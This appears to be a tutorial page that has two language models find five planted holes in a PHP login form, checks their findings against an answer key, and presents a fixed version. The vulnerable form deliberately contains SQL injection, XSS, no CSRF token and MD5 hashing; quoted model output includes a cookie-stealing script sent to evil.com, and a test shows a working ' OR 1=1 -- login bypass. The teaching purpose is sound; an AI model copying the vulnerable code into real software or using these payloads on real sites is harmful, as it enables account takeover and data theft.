Skip to content
Fondazione ITS INCOM

Examples · Web Development

Find the holes in a PHP form

A PHP login form with five planted holes goes to two models, which answer in a JSON schema with the line, the kind, what an attacker does and the fix. Your code checks that every finding quotes the code really on its line, and scores the findings against an answer key. Then you fix the form and check both files with php -l.

Intermediate · 40 min

The idea

A login form is a few lines of PHP, and each of those lines can be a way in. The classic holes are always the same: SQL glued together from what the user typed, input echoed back into the page, no token against forged requests, passwords hashed with MD5.

A model can read the form and name the holes. Your code cannot judge whether a hole is real, but it can check three things:

  1. the answer has the shape you asked for: a JSON schema with an enum of kinds;
  2. every finding quotes the code that is really on its line;
  3. against an answer key, which planted holes were found, and what else the model said.

What you need

The form

Save it as login.php. It works, and it has five planted holes. Look for them before the model does.

<?php
// login.php: members' area of the Legnano Robotics Club
session_start();
$db = new mysqli("localhost", "club", "Robot2026!", "club");

$error = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $email = $_POST["email"];
    $password = md5($_POST["password"]);
    $sql = "SELECT id, name FROM members WHERE email = '$email' AND password = '$password'";
    $result = $db->query($sql);
    $member = $result->fetch_assoc();
    if ($member) {
        $_SESSION["member_id"] = $member["id"];
        header("Location: /members.php");
        exit;
    }
    $error = "Wrong password for " . $email;
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Members' login</title></head>
<body>
  <h1>Members' login</h1>
  <?php if ($error): ?>
    <p class="error"><?= $error ?></p>
  <?php endif; ?>
  <form method="post" action="login.php">
    <label>Email <input type="email" name="email" value="<?= $_POST["email"] ?? "" ?>"></label>
    <label>Password <input type="password" name="password"></label>
    <button>Log in</button>
  </form>
</body>
</html>

The program

Save it as find_holes.py, next to the form.

import json
import os
import pathlib
import sys

from openai import OpenAI

client = OpenAI(
    base_url="https://api.ai.itsincom.org/v1",
    api_key=os.environ["API_KEY"],
)

KINDS = ["sql_injection", "xss", "csrf", "weak_password_hash", "hardcoded_secret", "session", "other"]

schema = {
    "type": "object",
    "properties": {
        "findings": {
            "type": "array",
            "items": {
                "type": "object",
                "properties": {
                    "line": {"type": "integer"},
                    "code": {"type": "string"},  # copied by the model from that line
                    "kind": {"type": "string", "enum": KINDS},
                    "attack": {"type": "string"},  # what an attacker does with it
                    "fix": {"type": "string"},
                },
                "required": ["line", "code", "kind", "attack", "fix"],
            },
        },
    },
    "required": ["findings"],
}

model, path = sys.argv[1], sys.argv[2]
lines = pathlib.Path(path).read_text().splitlines()
numbered = "\n".join(f"{n:3} {line}" for n, line in enumerate(lines, 1))

answer = client.chat.completions.create(
    model=model,
    temperature=0,
    messages=[
        {"role": "system", "content": "You are a security reviewer for PHP web pages. Report only real "
                                      "vulnerabilities, one finding per line of code. For each one, copy the "
                                      "code of that line, say in one or two sentences what an attacker does "
                                      "with it, and give the fix."},
        {"role": "user", "content": f"Review {path}:\n\n{numbered}"},
    ],
    response_format={"type": "json_schema", "json_schema": {"name": "holes", "schema": schema}},
)
if answer.choices[0].finish_reason != "stop":
    sys.exit(f"The answer was cut off ({answer.choices[0].finish_reason}): run it again.")
findings = json.loads(answer.choices[0].message.content)["findings"]


def on_its_line(f):
    """The line exists, and the code the model copied is really on it."""
    code = f["code"].strip()
    return 1 <= f["line"] <= len(lines) and code != "" and code in lines[f["line"] - 1]


checked = [f for f in findings if on_its_line(f)]
print(f"{model}: {len(findings)} findings, {len(checked)} on their line")
for f in sorted(checked, key=lambda f: f["line"]):
    print(f"  {f['line']:3} {f['kind']}: {f['attack']}")
    print(f"      fix: {f['fix']}")
for f in findings:
    if f not in checked:
        print(f"  NOT ON LINE {f['line']}: «{f['code']}» {f['kind']}")

# With an answer key, see which planted holes were found, and what else the model said.
if len(sys.argv) > 3:
    holes = json.loads(pathlib.Path(sys.argv[3]).read_text())
    matched = []
    print("Planted holes:")
    for hole in holes:
        hits = [f for f in checked if f["kind"] == hole["kind"] and f["line"] in hole["lines"]]
        matched += hits
        print(f"  {'found ' if hits else 'MISSED'} {hole['hole']}")
    print("Not in the key (real, or a false alarm? You decide):")
    for f in checked:
        if f not in matched:
            print(f"  {f['line']:3} {f['kind']}: «{f['code'].strip()}»")

The answer key

Save it as holes.json, but read it only after your own search. Some holes can be named on two lines: the SQL injection where the query is glued (10) or where it runs (11), the missing token where the POST is handled (7) or where the form is (29).

[
  {"hole": "SQL injection", "kind": "sql_injection", "lines": [10, 11]},
  {"hole": "XSS in the error message", "kind": "xss", "lines": [18, 27]},
  {"hole": "XSS in the email field", "kind": "xss", "lines": [30]},
  {"hole": "No CSRF token", "kind": "csrf", "lines": [7, 29]},
  {"hole": "MD5 for passwords", "kind": "weak_password_hash", "lines": [9]}
]

Run it with each model:

python3 find_holes.py qwen3-coder-30b login.php holes.json
python3 find_holes.py qwen3.8-27b login.php holes.json

Qwen3-Coder answers in about 4 seconds; Qwen3.8 thinks first and took 24 to 33 seconds in our runs.

What you should see

A run of qwen3.8-27b; the long fixes are shortened with …:

qwen3.8-27b: 6 findings, 6 on their line
    4 hardcoded_secret: If the source file is ever exposed (misconfigured server, VCS leak, .git exposure), the attacker gains direct database credentials and can read or modify all member data.
      fix: Store credentials in an environment variable or a secrets manager outside the codebase, e.g. …
    9 weak_password_hash: MD5 is fast and unsalted; an attacker who obtains the database can crack all stored hashes in minutes with a GPU, and identical passwords produce identical hashes, enabling rainbow-table attacks.
      fix: Use password_hash($_POST["password"], PASSWORD_ARGON2ID) for storage and password_verify() for comparison.
   10 sql_injection: An attacker types `' OR '1'='1` in the email field, the query becomes `WHERE email = '' OR '1'='1' AND password = ...`, and they log in as the first member without knowing any password; they can also use UNION-based injection to exfiltrate the entire database.
      fix: Use a prepared statement: $stmt = $db->prepare("SELECT id, name FROM members WHERE email = ? AND password = ?"); …
   14 session: An attacker pre-sets a known session ID (e.g. via a link), the victim logs in with that session, and the attacker then uses the same session ID to impersonate the authenticated member.
      fix: Call session_regenerate_id(true) immediately before setting the session variable: …
   27 xss: An attacker submits an email like `<script>document.location='http://evil.com/?c='+document.cookie</script>`; the script is reflected unescaped into the page and executes in the victim's browser, stealing the session cookie.
      fix: Escape the output: <p class="error"><?= htmlspecialchars($error, ENT_QUOTES, 'UTF-8') ?></p>
   30 xss: An attacker crafts a URL or form that POSTs a value like `" onfocus="alert(document.cookie)` into the email field; the reflected value breaks out of the attribute and executes JavaScript in the victim's browser.
      fix: Escape the value: value="<?= htmlspecialchars($_POST["email"] ?? '', ENT_QUOTES, 'UTF-8') ?>"
Planted holes:
  found  SQL injection
  found  XSS in the error message
  found  XSS in the email field
  MISSED No CSRF token
  found  MD5 for passwords
Not in the key (real, or a false alarm? You decide):
    4 hardcoded_secret: «$db = new mysqli("localhost", "club", "Robot2026!", "club");»
   14 session: «$_SESSION["member_id"] = $member["id"];»

Both findings outside the key are real: a database password in the code ends up on GitHub, and a session ID that is not changed at login can be fixed by an attacker in advance. The key is only what we planted; a good reviewer finds more.

Two models, three runs each

qwen3-coder-30b qwen3.8-27b
SQL injection 3 of 3 3 of 3
XSS in the error message 0 of 3 3 of 3
XSS in the email field 3 of 3 2 of 3
No CSRF token 0 of 3 0 of 3
MD5 for passwords 3 of 3 3 of 3
Password in the code (line 4), not planted 0 of 3 3 of 3
No new session ID at login (line 14), not planted 0 of 3 2 of 3
False alarms 1 in every run none

What happened in the cells that are not “3 of 3”:

What the model got wrong: the attack

The hole on line 10 is real. The attack Qwen3.8 described is not. In SQL, AND binds tighter than OR, so with ' OR '1'='1 the query asks “email is empty, or (1 = 1 and the password is right)”: you still need someone's password.

Do not argue with the model: run the attack. This is the query of lines 9 to 12, in Python with SQLite, which ships with Python. Save it as try_injection.py:

import hashlib
import sqlite3

db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE members (id INTEGER, name TEXT, email TEXT, password TEXT)")
db.execute("INSERT INTO members VALUES (1, 'Giulia Ferri', 'giulia.ferri@example.org', ?)",
           (hashlib.md5(b"Mindstorms-7").hexdigest(),))


def login(email, password):
    """Lines 9 to 12 of login.php, in Python: the same query, glued together the same way."""
    password = hashlib.md5(password.encode()).hexdigest()
    sql = f"SELECT id, name FROM members WHERE email = '{email}' AND password = '{password}'"
    return db.execute(sql).fetchone()


for email in ["giulia.ferri@example.org", "' OR '1'='1", "' OR 1=1 -- "]:
    print(f"{email!r:28} -> {login(email, 'I do not know it')}")

'giulia.ferri@example.org'   -> None
"' OR '1'='1"                -> None
"' OR 1=1 -- "               -> (1, 'Giulia Ferri')

The model's payload fails; ' OR 1=1 -- works, because -- turns the rest of the query, the password included, into a comment. In MySQL, -- needs the space after it. The model was right about the hole and wrong about the detail, and it wrote that same payload in all three runs.

The fixed form

On a real site it takes the place of login.php; here, save it as login_fixed.php, so you can compare the two:

<?php
// login.php: members' area of the Legnano Robotics Club, fixed
session_start();
$db = new PDO("mysql:host=localhost;dbname=club;charset=utf8mb4", "club", getenv("DB_PASSWORD"),
              [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);

function e(string $text): string {
    return htmlspecialchars($text, ENT_QUOTES, "UTF-8");
}

if (empty($_SESSION["csrf"])) {
    $_SESSION["csrf"] = bin2hex(random_bytes(32));
}

$error = "";
$email = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (!hash_equals($_SESSION["csrf"], $_POST["csrf"] ?? "")) {
        http_response_code(400);
        exit("This form has expired: reload the page.");
    }
    $email = $_POST["email"] ?? "";
    $query = $db->prepare("SELECT id, password_hash FROM members WHERE email = ?");
    $query->execute([$email]);
    $member = $query->fetch(PDO::FETCH_ASSOC);
    if ($member && password_verify($_POST["password"] ?? "", $member["password_hash"])) {
        session_regenerate_id(true);
        $_SESSION["member_id"] = $member["id"];
        header("Location: /members.php");
        exit;
    }
    $error = "Wrong email or password.";
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Members' login</title></head>
<body>
  <h1>Members' login</h1>
  <?php if ($error): ?>
    <p class="error"><?= e($error) ?></p>
  <?php endif; ?>
  <form method="post" action="login.php">
    <input type="hidden" name="csrf" value="<?= e($_SESSION["csrf"]) ?>">
    <label>Email <input type="email" name="email" value="<?= e($email) ?>"></label>
    <label>Password <input type="password" name="password"></label>
    <button>Log in</button>
  </form>
</body>
</html>

What changed, hole by hole:

Check that both files are valid PHP:

php -l login.php
php -l login_fixed.php

No syntax errors detected in login.php
No syntax errors detected in login_fixed.php

php -l checks the syntax only: the broken form passes too. It tells you the fix did not break the file, not that the fix is right.

The fixed form, reviewed again

Run the program on the fixed form, without the key: python3 find_holes.py qwen3-coder-30b login_fixed.php. We did it twice per model.

The line check passes all three: the code is really there. The check proves where a finding points, never whether it is true. A reviewer that finds problems in every file is a reviewer you stop reading.

Good to know

Exercise

All examples